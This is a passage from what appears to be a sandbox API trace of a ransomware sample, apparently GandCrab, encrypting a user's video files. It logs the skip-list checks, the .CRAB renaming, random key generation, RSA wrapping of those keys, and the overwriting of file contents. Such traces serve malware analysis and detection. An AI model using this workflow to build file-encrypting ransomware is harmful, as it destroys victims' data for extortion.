	[0134.834] lstrcmpW (lpString1="Fq06q6u3yO.mkv", lpString2=".") returned 1
	[0134.834] lstrcmpW (lpString1="Fq06q6u3yO.mkv", lpString2="..") returned 1
	[0134.834] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="Fq06q6u3yO.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv"
	[0134.834] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.834] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv") returned 58
	[0134.834] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv") returned 58
	[0134.834] lstrlenW (lpString=".mkv") returned 4
	[0134.834] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.834] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0134.834] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv") returned 58
	[0134.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv") returned 58
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="desktop.ini") returned 1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="autorun.inf") returned 1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="ntuser.dat") returned -1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="iconcache.db") returned -1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="bootsect.bak") returned 1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="boot.ini") returned 1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="ntuser.dat.log") returned -1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="thumbs.db") returned -1
	[0134.835] lstrcmpiW (lpString1="Fq06q6u3yO.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.835] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.835] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB") returned 63
	[0134.835] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\fq06q6u3yo.mkv")) returned 0x20
	[0134.835] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv", dwFileAttributes=0x20) returned 1
	[0134.836] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\fq06q6u3yo.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\fq06q6u3yo.mkv.crab")) returned 1
	[0134.837] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.837] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB"
	[0134.837] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB.CRAB"
	[0134.837] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0134.838] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.839] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.839] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.839] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.839] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.839] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.839] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0134.840] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.840] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.841] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.841] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.841] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.841] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.841] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.841] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.841] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.843] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249d30) returned 1
	[0134.843] CryptGetKeyParam (in: hKey=0x3249d30, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.843] CryptEncrypt (in: hKey=0x3249d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.843] GetLastError () returned 0x0
	[0134.843] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.843] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.844] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x32495b0) returned 1
	[0134.844] CryptGetKeyParam (in: hKey=0x32495b0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.844] CryptEncrypt (in: hKey=0x32495b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.845] GetLastError () returned 0x0
	[0134.845] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.845] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Fq06q6u3yO.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\fq06q6u3yo.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.845] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.845] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.846] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0xc305, lpOverlapped=0x0) returned 1
	[0134.857] VirtualAlloc (lpAddress=0x0, dwSize=0xc310, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.858] VirtualAlloc (lpAddress=0x0, dwSize=0xc310, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.859] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.860] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff3cfb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.860] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xc310, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xc310, lpOverlapped=0x0) returned 1
	[0134.860] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.860] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.864] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.864] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.864] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.864] CloseHandle (hObject=0x3ec) returned 1
	[0134.864] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.864] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.865] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.865] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.865] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.865] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.865] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.866] lstrcmpW (lpString1="HT0Lw1TY.flv", lpString2=".") returned 1
	[0134.866] lstrcmpW (lpString1="HT0Lw1TY.flv", lpString2="..") returned 1
	[0134.866] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="HT0Lw1TY.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv"
	[0134.866] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.866] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv") returned 56
	[0134.866] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv") returned 56
	[0134.866] lstrlenW (lpString=".flv") returned 4
	[0134.866] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.866] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".flv ") returned 5
	[0134.866] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.866] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv") returned 56
	[0134.866] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv") returned 56
	[0134.866] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="desktop.ini") returned 1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="autorun.inf") returned 1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="ntuser.dat") returned -1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="iconcache.db") returned -1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="bootsect.bak") returned 1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="boot.ini") returned 1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="ntuser.dat.log") returned -1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="thumbs.db") returned -1
	[0134.867] lstrcmpiW (lpString1="HT0Lw1TY.flv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.867] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.867] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB") returned 61
	[0134.867] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\ht0lw1ty.flv")) returned 0x20
	[0134.867] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv", dwFileAttributes=0x20) returned 1
	[0134.868] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\ht0lw1ty.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\ht0lw1ty.flv.crab")) returned 1
	[0134.868] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0134.869] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB"
	[0134.869] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB.CRAB"
	[0134.869] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0134.870] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.870] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.871] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.871] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0134.871] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0134.871] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.871] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0134.872] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0134.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0134.872] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0134.872] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0134.873] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0134.873] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.873] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0134.873] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0134.873] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0134.874] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249b30) returned 1
	[0134.876] CryptGetKeyParam (in: hKey=0x3249b30, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.876] CryptEncrypt (in: hKey=0x3249b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0134.876] GetLastError () returned 0x0
	[0134.876] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0134.876] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0134.877] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x3249970) returned 1
	[0134.877] CryptGetKeyParam (in: hKey=0x3249970, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0134.877] CryptEncrypt (in: hKey=0x3249970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0134.878] GetLastError () returned 0x0
	[0134.878] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0134.878] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\HT0Lw1TY.flv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\u9rnroma-ues_1\\ht0lw1ty.flv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0134.878] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0134.879] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0134.879] ReadFile (in: hFile=0x3ec, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314c9c4*=0xbfdd, lpOverlapped=0x0) returned 1
	[0134.893] VirtualAlloc (lpAddress=0x0, dwSize=0xbfe0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0134.894] VirtualAlloc (lpAddress=0x0, dwSize=0xbfe0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0134.895] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.896] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff4023, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.896] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xbfe0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xbfe0, lpOverlapped=0x0) returned 1
	[0134.896] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.896] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.906] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.906] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0134.906] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0134.906] CloseHandle (hObject=0x3ec) returned 1
	[0134.906] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.907] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.907] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.907] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.907] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.907] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.908] FindNextFileW (in: hFindFile=0x3249cf0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0134.908] lstrcmpW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2=".") returned 1
	[0134.908] lstrcmpW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="..") returned 1
	[0134.908] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\", lpString2="Jjej7x4SOz7qMu.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4"
	[0134.908] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0134.908] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4") returned 62
	[0134.908] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4") returned 62
	[0134.908] lstrlenW (lpString=".mp4") returned 4
	[0134.908] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.908] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp4 ") returned 5
	[0134.908] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0134.909] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4") returned 62
	[0134.909] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4") returned 62
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="desktop.ini") returned 1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="autorun.inf") returned 1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="ntuser.dat") returned -1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="iconcache.db") returned 1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="bootsect.bak") returned 1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="boot.ini") returned 1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="ntuser.dat.log") returned -1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="thumbs.db") returned -1
	[0134.909] lstrcmpiW (lpString1="Jjej7x4SOz7qMu.mp4", lpString2="CRAB-DECRYPT.txt") returned 1
	[0134.909] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0134.909] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\U9RNrOMa-ues_1\\Jjej7x4SOz7qMu.mp4.CRAB") returned 67
